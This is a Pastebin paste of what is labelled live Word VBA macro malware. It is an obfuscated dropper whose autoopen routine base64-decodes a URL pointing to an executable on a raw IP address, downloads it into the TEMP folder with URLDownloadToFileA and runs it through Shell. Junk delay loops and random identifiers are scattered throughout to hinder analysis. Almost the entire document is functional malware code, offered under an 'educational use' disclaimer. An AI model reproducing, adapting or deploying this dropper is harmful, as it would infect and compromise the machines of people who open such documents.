Advertisement
Guest User

VBA Malware Dropper - source code

a guest
Jan 29th, 2015
326
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. '********************************************
  2. '********************************************
  3. '        BEWARE - THIS IS LIVE MALWARE
  4. '********************************************
  5. '********************************************
  6. '   I have not nerfed this code - take care
  7. '********************************************
  8. ' This is for educational use and study only
  9. '********************************************
  10. '********************************************
  11. '                @leighhall
  12. '********************************************
  13. '********************************************
  14.  
  15. Attribute VB_Name = "ThisDocument"
  16. Attribute VB_Base = "1Normal.ThisDocument"
  17. Attribute VB_GlobalNameSpace = False
  18. Attribute VB_Creatable = False
  19. Attribute VB_PredeclaredId = True
  20. Attribute VB_Exposed = True
  21. Attribute VB_TemplateDerived = True
  22. Attribute VB_Customizable = True
  23. #If VBA7 Then
  24.     Private Declare PtrSafe Function gHBBjodhnsf Lib "urlmon" Alias _
  25.     "URLDownloadToFileA" (ByVal BsjxHq As LongPtr, _
  26.     ByVal PqMao As String, _
  27.     ByVal ZdCqoiA As String, _
  28.     ByVal qOUQcfuPQbkf As Long, _
  29.     ByVal rLeZNuCDBGrl As LongPtr) As LongPtr
  30. #Else
  31.     Private Declare Function gHBBjodhnsf Lib "urlmon" Alias _
  32.     "URLDownloadToFileA" (ByVal BsjxHq As Long, _
  33.     ByVal PqMao As String, _
  34.     ByVal ZdCqoiA As String, _
  35.     ByVal qOUQcfuPQbkf As Long, _
  36.     ByVal rLeZNuCDBGrl As Long) As Long
  37. #End If
  38.  
  39. Private aDecTab(255) As Integer
  40.  
  41. Sub jiyCFwVleNvx()
  42. zNYsGtgG
  43. Dim DLBhcd As Integer
  44. DLBhcd = 1798
  45. Do While DLBhcd < 1798 + 10
  46. DLBhcd = DLBhcd + 1: DoEvents
  47. Loop
  48. End Sub
  49.  
  50. Sub ElDpt()
  51.     jiyCFwVleNvx
  52. Dim jIjuo As Integer
  53. jIjuo = 2400
  54. Do While jIjuo < 2400 + 10
  55. jIjuo = jIjuo + 1: DoEvents
  56. Loop
  57. End Sub
  58.  
  59. Sub autoopen()
  60.     jiyCFwVleNvx
  61. Dim PcPNHaQt As Integer
  62. PcPNHaQt = 2304
  63. Do While PcPNHaQt < 2304 + 10
  64. PcPNHaQt = PcPNHaQt + 1: DoEvents
  65. Loop
  66. End Sub
  67.  
  68. Sub zNYsGtgG()
  69.  
  70. Dim ubtfjIjuoGD As Integer
  71. ubtfjIjuoGD = 787
  72. Do While ubtfjIjuoGD < 787 + 10
  73. ubtfjIjuoGD = ubtfjIjuoGD + 1: DoEvents
  74. Loop
  75.  ViapiNU ITXQDR("aHR0cDovLzE2Mi4yNTEuODQuMTIyL2pzL2Jpbi5leGU="), Environ(ITXQDR("VE1Q")) & ITXQDR("XGhEbnlEQS5leGU=")
  76. Dim Qtdot As Integer
  77. Qtdot = 1735
  78. Do While Qtdot < 1735 + 10
  79. Qtdot = Qtdot + 1: DoEvents
  80. Loop
  81. End Sub
  82.  
  83. Function ViapiNU(BueLOj As String, eaJQwwYgsUo As String) As Boolean
  84.     JjJUOhQ = gHBBjodhnsf(0&, BueLOj, eaJQwwYgsUo, 0&, 0&)
  85. Dim oGDawUMI As Integer
  86. oGDawUMI = 942
  87. Do While oGDawUMI < 942 + 10
  88. oGDawUMI = oGDawUMI + 1: DoEvents
  89. Loop
  90.    Dim inkvMbjktRLp
  91. Dim cdbgQJ As Integer
  92. cdbgQJ = 310
  93. Do While cdbgQJ < 310 + 10
  94. cdbgQJ = cdbgQJ + 1: DoEvents
  95. Loop
  96.     inkvMbjktRLp = Shell(eaJQwwYgsUo, 1)
  97. Dim mNViKe As Integer
  98. mNViKe = 1417
  99. Do While mNViKe < 1417 + 10
  100. mNViKe = mNViKe + 1: DoEvents
  101. Loop
  102. End Function
  103.  
  104.  
  105. Public Function ITXQDR(sEncoded As String) As String
  106. Dim sDecoded As String
  107. Dim gEKGRUkFGQ As Integer
  108. gEKGRUkFGQ = 1008
  109. Do While gEKGRUkFGQ < 1008 + 10
  110. gEKGRUkFGQ = gEKGRUkFGQ + 1: DoEvents
  111. Loop
  112. Dim d(3) As Byte
  113. Dim ULNFfHmkR As Integer
  114. ULNFfHmkR = 311
  115. Do While ULNFfHmkR < 311 + 10
  116. ULNFfHmkR = ULNFfHmkR + 1: DoEvents
  117. Loop
  118. Dim C As Byte
  119. Dim bSDlnIlpDNwjVwSR As Integer
  120. bSDlnIlpDNwjVwSR = 879
  121. Do While bSDlnIlpDNwjVwSR < 879 + 10
  122. bSDlnIlpDNwjVwSR = bSDlnIlpDNwjVwSR + 1: DoEvents
  123. Loop
  124. Dim di As Integer
  125. Dim tdotqBSTpqzY As Integer
  126. tdotqBSTpqzY = 1894
  127. Do While tdotqBSTpqzY < 1894 + 10
  128. tdotqBSTpqzY = tdotqBSTpqzY + 1: DoEvents
  129. Loop
  130. Dim i As Long
  131. Dim qlOQxRQfUAIJMkrydppEIL As Integer
  132. qlOQxRQfUAIJMkrydppEIL = 1356
  133. Do While qlOQxRQfUAIJMkrydppEIL < 1356 + 10
  134. qlOQxRQfUAIJMkrydppEIL = qlOQxRQfUAIJMkrydppEIL + 1: DoEvents
  135. Loop
  136. Dim nLen As Long
  137. Dim DLBhcdgQJRvHYceVvYCnjQr As Integer
  138. DLBhcdgQJRvHYceVvYCnjQr = 753
  139. Do While DLBhcdgQJRvHYceVvYCnjQr < 753 + 10
  140. DLBhcdgQJRvHYceVvYCnjQr = DLBhcdgQJRvHYceVvYCnjQr + 1: DoEvents
  141. Loop
  142. Dim iIndex As Long
  143. Dim QLMKPA As Integer
  144. QLMKPA = 689
  145. Do While QLMKPA < 689 + 10
  146. QLMKPA = QLMKPA + 1: DoEvents
  147. Loop
  148. nLen = Len(sEncoded)
  149. Dim fUAIJHMkrydp As Integer
  150. fUAIJHMkrydp = 2019
  151. Do While fUAIJHMkrydp < 2019 + 10
  152. fUAIJHMkrydp = fUAIJHMkrydp + 1: DoEvents
  153. Loop
  154. sDecoded = String((nLen \ 4) * 3, " ")
  155. Dim NiwjVwSRutfjIj As Integer
  156. NiwjVwSRutfjIj = 1068
  157. Do While NiwjVwSRutfjIj < 1068 + 10
  158. NiwjVwSRutfjIj = NiwjVwSRutfjIj + 1: DoEvents
  159. Loop
  160. iIndex = 0
  161. Dim trwhbiL As Integer
  162. trwhbiL = 1292
  163. Do While trwhbiL < 1292 + 10
  164. trwhbiL = trwhbiL + 1: DoEvents
  165. Loop
  166. di = 0
  167. Dim JfULakSSFFhp As Integer
  168. JfULakSSFFhp = 482
  169. Do While JfULakSSFFhp < 482 + 10
  170. JfULakSSFFhp = JfULakSSFFhp + 1: DoEvents
  171. Loop
  172. Call auo5an
  173. Dim rvyqO As Integer
  174. rvyqO = 672
  175. Do While rvyqO < 672 + 10
  176. rvyqO = rvyqO + 1: DoEvents
  177. Loop
  178. ' Read in each char in trun
  179. Dim SFFhpCexdBS As Integer
  180. SFFhpCexdBS = 388
  181. Do While SFFhpCexdBS < 388 + 10
  182. SFFhpCexdBS = SFFhpCexdBS + 1: DoEvents
  183. Loop
  184. For i = 1 To Len(sEncoded)
  185. Dim rLosGQm As Integer
  186. rLosGQm = 449
  187. Do While rLosGQm < 449 + 10
  188. rLosGQm = rLosGQm + 1: DoEvents
  189. Loop
  190. C = CByte(Asc(Mid(sEncoded, i, 1)))
  191. Dim CexdBSf As Integer
  192. CexdBSf = 1746
  193. Do While CexdBSf < 1746 + 10
  194. CexdBSf = CexdBSf + 1: DoEvents
  195. Loop
  196. C = aDecTab(C)
  197. Dim imLmxrJG As Integer
  198. imLmxrJG = 2351
  199. Do While imLmxrJG < 2351 + 10
  200. imLmxrJG = imLmxrJG + 1: DoEvents
  201. Loop
  202. If C >= 0 Then
  203. Dim fiZybqmavlcqAjj As Integer
  204. fiZybqmavlcqAjj = 1779
  205. Do While fiZybqmavlcqAjj < 1779 + 10
  206. fiZybqmavlcqAjj = fiZybqmavlcqAjj + 1: DoEvents
  207. Loop
  208. d(di) = C
  209. Dim QZlNhMk As Integer
  210. QZlNhMk = 1082
  211. Do While QZlNhMk < 1082 + 10
  212. QZlNhMk = QZlNhMk + 1: DoEvents
  213. Loop
  214. di = di + 1
  215. Dim cqAjjVjFShOgRVvk As Integer
  216. cqAjjVjFShOgRVvk = 894
  217. Do While cqAjjVjFShOgRVvk < 894 + 10
  218. cqAjjVjFShOgRVvk = cqAjjVjFShOgRVvk + 1: DoEvents
  219. Loop
  220. If di = 4 Then
  221. Dim KdMjSekgrIQ As Integer
  222. KdMjSekgrIQ = 1319
  223. Do While KdMjSekgrIQ < 1319 + 10
  224. KdMjSekgrIQ = KdMjSekgrIQ + 1: DoEvents
  225. Loop
  226. Mid$(sDecoded, iIndex + 1, 3) = utjk(d)
  227. Dim RjUZyn As Integer
  228. RjUZyn = 2458
  229. Do While RjUZyn < 2458 + 10
  230. RjUZyn = RjUZyn + 1: DoEvents
  231. Loop
  232. iIndex = iIndex + 3
  233. Dim IKfHM As Integer
  234. IKfHM = 149
  235. Do While IKfHM < 149 + 10
  236. IKfHM = IKfHM + 1: DoEvents
  237. Loop
  238. If d(3) = 64 Then
  239. Dim mZLnJV As Integer
  240. mZLnJV = 2269
  241. Do While mZLnJV < 2269 + 10
  242. mZLnJV = mZLnJV + 1: DoEvents
  243. Loop
  244. sDecoded = Left(sDecoded, Len(sDecoded) - 1)
  245. Dim TcpQkPo As Integer
  246. TcpQkPo = 146
  247. Do While TcpQkPo < 146 + 10
  248. TcpQkPo = TcpQkPo + 1: DoEvents
  249. Loop
  250. iIndex = iIndex - 1
  251. Dim VkRjUZynke As Integer
  252. VkRjUZynke = 274
  253. Do While VkRjUZynke < 274 + 10
  254. VkRjUZynke = VkRjUZynke + 1: DoEvents
  255. Loop
  256. End If
  257. Dim SssTcpQkPFgFQKdM As Integer
  258. SssTcpQkPFgFQKdM = 653
  259. Do While SssTcpQkPFgFQKdM < 653 + 10
  260. SssTcpQkPFgFQKdM = SssTcpQkPFgFQKdM + 1: DoEvents
  261. Loop
  262. If d(2) = 64 Then
  263. Dim uOrvJTp As Integer
  264. uOrvJTp = 2013
  265. Do While uOrvJTp < 2013 + 10
  266. uOrvJTp = uOrvJTp + 1: DoEvents
  267. Loop
  268. sDecoded = Left(sDecoded, Len(sDecoded) - 1)
  269. Dim qZZLLn As Integer
  270. qZZLLn = 604
  271. Do While qZZLLn < 604 + 10
  272. qZZLLn = qZZLLn + 1: DoEvents
  273. Loop
  274. iIndex = iIndex - 1
  275. Dim krVjiyB As Integer
  276. krVjiyB = 2376
  277. Do While krVjiyB < 2376 + 10
  278. krVjiyB = krVjiyB + 1: DoEvents
  279. Loop
  280. End If
  281. Dim ZZLLnwI As Integer
  282. ZZLLnwI = 1079
  283. Do While ZZLLnwI < 1079 + 10
  284. ZZLLnwI = ZZLLnwI + 1: DoEvents
  285. Loop
  286. di = 0
  287. Dim tfGdcDlCo As Integer
  288. tfGdcDlCo = 2471
  289. Do While tfGdcDlCo < 2471 + 10
  290. tfGdcDlCo = tfGdcDlCo + 1: DoEvents
  291. Loop
  292. End If
  293. Dim nxDzLcdyAhOrHouNVKq As Integer
  294. nxDzLcdyAhOrHouNVKq = 1206
  295. Do While nxDzLcdyAhOrHouNVKq < 1206 + 10
  296. nxDzLcdyAhOrHouNVKq = nxDzLcdyAhOrHouNVKq + 1: DoEvents
  297. Loop
  298. End If
  299. Dim eJSTRQu As Integer
  300. eJSTRQu = 127
  301. Do While eJSTRQu < 127 + 10
  302. eJSTRQu = eJSTRQu + 1: DoEvents
  303. Loop
  304. Next i
  305. Dim ogEiMw As Integer
  306. ogEiMw = 1045
  307. Do While ogEiMw < 1045 + 10
  308. ogEiMw = ogEiMw + 1: DoEvents
  309. Loop
  310.  ITXQDR = sDecoded
  311. Dim ekshMVQUax As Integer
  312. ekshMVQUax = 1691
  313. Do While ekshMVQUax < 1691 + 10
  314. ekshMVQUax = ekshMVQUax + 1: DoEvents
  315. Loop
  316. End Function
  317.  
  318. Private Function utjk(d() As Byte) As String
  319. Dim sOutput As String
  320. Dim xQZOupp As Integer
  321. xQZOupp = 553
  322. Do While xQZOupp < 553 + 10
  323. xQZOupp = xQZOupp + 1: DoEvents
  324. Loop
  325. Dim C As Long
  326. Dim FrvVwHBQnJiaViyNjQg As Integer
  327. FrvVwHBQnJiaViyNjQg = 1502
  328. Do While FrvVwHBQnJiaViyNjQg < 1502 + 10
  329. FrvVwHBQnJiaViyNjQg = FrvVwHBQnJiaViyNjQg + 1: DoEvents
  330. Loop
  331. sOutput = vbNullString
  332. Dim pdaTmGqAGCO As Integer
  333. pdaTmGqAGCO = 1060
  334. Do While pdaTmGqAGCO < 1060 + 10
  335. pdaTmGqAGCO = pdaTmGqAGCO + 1: DoEvents
  336. Loop
  337. C = nGkl0avyll(d(0)) Or (NZ5Ef7Abl(d(1)) And &H3)
  338. Dim QnJiaViyNjQg As Integer
  339. QnJiaViyNjQg = 1502
  340. Do While QnJiaViyNjQg < 1502 + 10
  341. QnJiaViyNjQg = QnJiaViyNjQg + 1: DoEvents
  342. Loop
  343. sOutput = sOutput & Chr$(C)
  344. Dim Rxstr As Integer
  345. Rxstr = 566
  346. Do While Rxstr < 566 + 10
  347. Rxstr = Rxstr + 1: DoEvents
  348. Loop
  349. C = JcX2DMsRAZ(d(1) And &HF) Or (W1UISPoYNMC(d(2)) And &HF)
  350. Dim zZzKEQTq As Integer
  351. zZzKEQTq = 631
  352. Do While zZzKEQTq < 631 + 10
  353. zZzKEQTq = zZzKEQTq + 1: DoEvents
  354. Loop
  355. sOutput = sOutput & Chr$(C)
  356. Dim iZmwgfS As Integer
  357. iZmwgfS = 59
  358. Do While iZmwgfS < 59 + 10
  359. iZmwgfS = iZmwgfS + 1: DoEvents
  360. Loop
  361. C = DM2OBrHOe(d(2) And &H3) Or d(3)
  362. Dim poEIK As Integer
  363. poEIK = 1422
  364. Do While poEIK < 1422 + 10
  365. poEIK = poEIK + 1: DoEvents
  366. Loop
  367. sOutput = sOutput & Chr$(C)
  368. Dim eVuYC As Integer
  369. eVuYC = 1989
  370. Do While eVuYC < 1989 + 10
  371. eVuYC = eVuYC + 1: DoEvents
  372. Loop
  373.  utjk = sOutput
  374. Dim cEIQhBPCpP As Integer
  375. cEIQhBPCpP = 2288
  376. Do While cEIQhBPCpP < 2288 + 10
  377. cEIQhBPCpP = cEIQhBPCpP + 1: DoEvents
  378. Loop
  379. End Function
  380.  
  381. Private Function auo5an()
  382. Dim t As Integer
  383. Dim GOEkfgeTbiyZZ As Integer
  384. GOEkfgeTbiyZZ = 1721
  385. Do While GOEkfgeTbiyZZ < 1721 + 10
  386. GOEkfgeTbiyZZ = GOEkfgeTbiyZZ + 1: DoEvents
  387. Loop
  388. Dim C As Integer
  389. Dim ealoDZaktoRh As Integer
  390. ealoDZaktoRh = 1657
  391. Do While ealoDZaktoRh < 1657 + 10
  392. ealoDZaktoRh = ealoDZaktoRh + 1: DoEvents
  393. Loop
  394. For C = 0 To 255
  395. Dim sSeYqawgrwt As Integer
  396. sSeYqawgrwt = 580
  397. Do While sSeYqawgrwt < 580 + 10
  398. sSeYqawgrwt = sSeYqawgrwt + 1: DoEvents
  399. Loop
  400. aDecTab(C) = -1
  401. Dim loDZa As Integer
  402. loDZa = 771
  403. Do While loDZa < 771 + 10
  404. loDZa = loDZa + 1: DoEvents
  405. Loop
  406. Next
  407. Dim eYqawgrwtEVk As Integer
  408. eYqawgrwtEVk = 75
  409. Do While eYqawgrwtEVk < 75 + 10
  410. eYqawgrwtEVk = eYqawgrwtEVk + 1: DoEvents
  411. Loop
  412. t = 0
  413. Dim pcCZmAizl As Integer
  414. pcCZmAizl = 973
  415. Do While pcCZmAizl < 973 + 10
  416. pcCZmAizl = pcCZmAizl + 1: DoEvents
  417. Loop
  418. For C = Asc("A") To Asc("Z")
  419. Dim NGqZbvYc As Integer
  420. NGqZbvYc = 468
  421. Do While NGqZbvYc < 468 + 10
  422. NGqZbvYc = NGqZbvYc + 1: DoEvents
  423. Loop
  424. aDecTab(C) = t
  425. Dim aJFuOEvJ As Integer
  426. aJFuOEvJ = 2048
  427. Do While aJFuOEvJ < 2048 + 10
  428. aJFuOEvJ = aJFuOEvJ + 1: DoEvents
  429. Loop
  430. t = t + 1
  431. Dim ggfkGNUzMLcf As Integer
  432. ggfkGNUzMLcf = 1386
  433. Do While ggfkGNUzMLcf < 1386 + 10
  434. ggfkGNUzMLcf = ggfkGNUzMLcf + 1: DoEvents
  435. Loop
  436. Next
  437. Dim bETAHaiY As Integer
  438. bETAHaiY = 500
  439. Do While bETAHaiY < 500 + 10
  440. bETAHaiY = bETAHaiY + 1: DoEvents
  441. Loop
  442. For C = Asc("a") To Asc("z")
  443. Dim qQrwEua As Integer
  444. qQrwEua = 1017
  445. Do While qQrwEua < 1017 + 10
  446. qQrwEua = qQrwEua + 1: DoEvents
  447. Loop
  448. aDecTab(C) = t
  449. Dim YpBqnhzwT As Integer
  450. YpBqnhzwT = 2315
  451. Do While YpBqnhzwT < 2315 + 10
  452. YpBqnhzwT = YpBqnhzwT + 1: DoEvents
  453. Loop
  454. t = t + 1
  455. Dim PdnIVJvQtr As Integer
  456. PdnIVJvQtr = 890
  457. Do While PdnIVJvQtr < 890 + 10
  458. PdnIVJvQtr = PdnIVJvQtr + 1: DoEvents
  459. Loop
  460. Next
  461. Dim KshBriwGpp As Integer
  462. KshBriwGpp = 2472
  463. Do While KshBriwGpp < 2472 + 10
  464. KshBriwGpp = KshBriwGpp + 1: DoEvents
  465. Loop
  466. For C = Asc("0") To Asc("9")
  467. Dim awvQEVHL As Integer
  468. awvQEVHL = 2391
  469. Do While awvQEVHL < 2391 + 10
  470. awvQEVHL = awvQEVHL + 1: DoEvents
  471. Loop
  472. aDecTab(C) = t
  473. Dim jHlPNvk As Integer
  474. jHlPNvk = 1283
  475. Do While jHlPNvk < 1283 + 10
  476. jHlPNvk = jHlPNvk + 1: DoEvents
  477. Loop
  478. t = t + 1
  479. Dim exrhMVVUaK As Integer
  480. exrhMVVUaK = 272
  481. Do While exrhMVVUaK < 272 + 10
  482. exrhMVVUaK = exrhMVVUaK + 1: DoEvents
  483. Loop
  484. Next
  485. Dim poseksI As Integer
  486. poseksI = 2359
  487. Do While poseksI < 2359 + 10
  488. poseksI = poseksI + 1: DoEvents
  489. Loop
  490. C = Asc("+")
  491. Dim bSsHzkRToQVj As Integer
  492. bSsHzkRToQVj = 1994
  493. Do While bSsHzkRToQVj < 1994 + 10
  494. bSsHzkRToQVj = bSsHzkRToQVj + 1: DoEvents
  495. Loop
  496. aDecTab(C) = t
  497. Dim mKoSQynH As Integer
  498. mKoSQynH = 1138
  499. Do While mKoSQynH < 1138 + 10
  500. mKoSQynH = mKoSQynH + 1: DoEvents
  501. Loop
  502. t = t + 1
  503. Dim hAvkPZaYdNG As Integer
  504. hAvkPZaYdNG = 1202
  505. Do While hAvkPZaYdNG < 1202 + 10
  506. hAvkPZaYdNG = hAvkPZaYdNG + 1: DoEvents
  507. Loop
  508. C = Asc("/")
  509. Dim hovLmlBr As Integer
  510. hovLmlBr = 315
  511. Do While hovLmlBr < 315 + 10
  512. hovLmlBr = hovLmlBr + 1: DoEvents
  513. Loop
  514. aDecTab(C) = t
  515. Dim PZaYdN As Integer
  516. PZaYdN = 1836
  517. Do While PZaYdN < 1836 + 10
  518. PZaYdN = PZaYdN + 1: DoEvents
  519. Loop
  520. t = t + 1
  521. Dim wuzkryOq As Integer
  522. wuzkryOq = 1932
  523. Do While wuzkryOq < 1932 + 10
  524. wuzkryOq = wuzkryOq + 1: DoEvents
  525. Loop
  526. C = Asc("=")
  527. Dim EyoTdd As Integer
  528. EyoTdd = 1710
  529. Do While EyoTdd < 1710 + 10
  530. EyoTdd = EyoTdd + 1: DoEvents
  531. Loop
  532. aDecTab(C) = t  ' should be 64
  533. Dim xEQfUAvwuzk As Integer
  534. xEQfUAvwuzk = 348
  535. Do While xEQfUAvwuzk < 348 + 10
  536. xEQfUAvwuzk = xEQfUAvwuzk + 1: DoEvents
  537. Loop
  538. End Function
  539.  
  540.  
  541. Private Function nGkl0avyll(ByVal bytValue As Byte) As Byte
  542.  nGkl0avyll = (bytValue * &H4) And &HFF
  543. Dim iayNG As Integer
  544. iayNG = 900
  545. Do While iayNG < 900 + 10
  546. iayNG = iayNG + 1: DoEvents
  547. Loop
  548. End Function
  549. Private Function JcX2DMsRAZ(ByVal bytValue As Byte) As Byte
  550.  JcX2DMsRAZ = (bytValue * &H10) And &HFF
  551. Dim StsIyBtRu As Integer
  552. StsIyBtRu = 46
  553. Do While StsIyBtRu < 46 + 10
  554. StsIyBtRu = StsIyBtRu + 1: DoEvents
  555. Loop
  556. End Function
  557. Private Function DM2OBrHOe(ByVal bytValue As Byte) As Byte
  558.  DM2OBrHOe = (bytValue * &H40) And &HFF
  559. Dim fkUNUz As Integer
  560. fkUNUz = 14
  561. Do While fkUNUz < 14 + 10
  562. fkUNUz = fkUNUz + 1: DoEvents
  563. Loop
  564. End Function
  565. Private Function W1UISPoYNMC(ByVal bytValue As Byte) As Byte
  566.  W1UISPoYNMC = bytValue \ &H4
  567. Dim SUAHbjY As Integer
  568. SUAHbjY = 521
  569. Do While SUAHbjY < 521 + 10
  570. SUAHbjY = SUAHbjY + 1: DoEvents
  571. Loop
  572. End Function
  573. Private Function NZ5Ef7Abl(ByVal bytValue As Byte) As Byte
  574.  NZ5Ef7Abl = bytValue \ &H10
  575. Dim avxGQLpEQr As Integer
  576. avxGQLpEQr = 407
  577. Do While avxGQLpEQr < 407 + 10
  578. avxGQLpEQr = avxGQLpEQr + 1: DoEvents
  579. Loop
  580. End Function
  581. Private Function hQpn(ByVal bytValue As Byte) As Byte
  582.  hQpn = bytValue \ &H40
  583. Dim BvNwTDN As Integer
  584. BvNwTDN = 501
  585. Do While BvNwTDN < 501 + 10
  586. BvNwTDN = BvNwTDN + 1: DoEvents
  587. Loop
  588. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement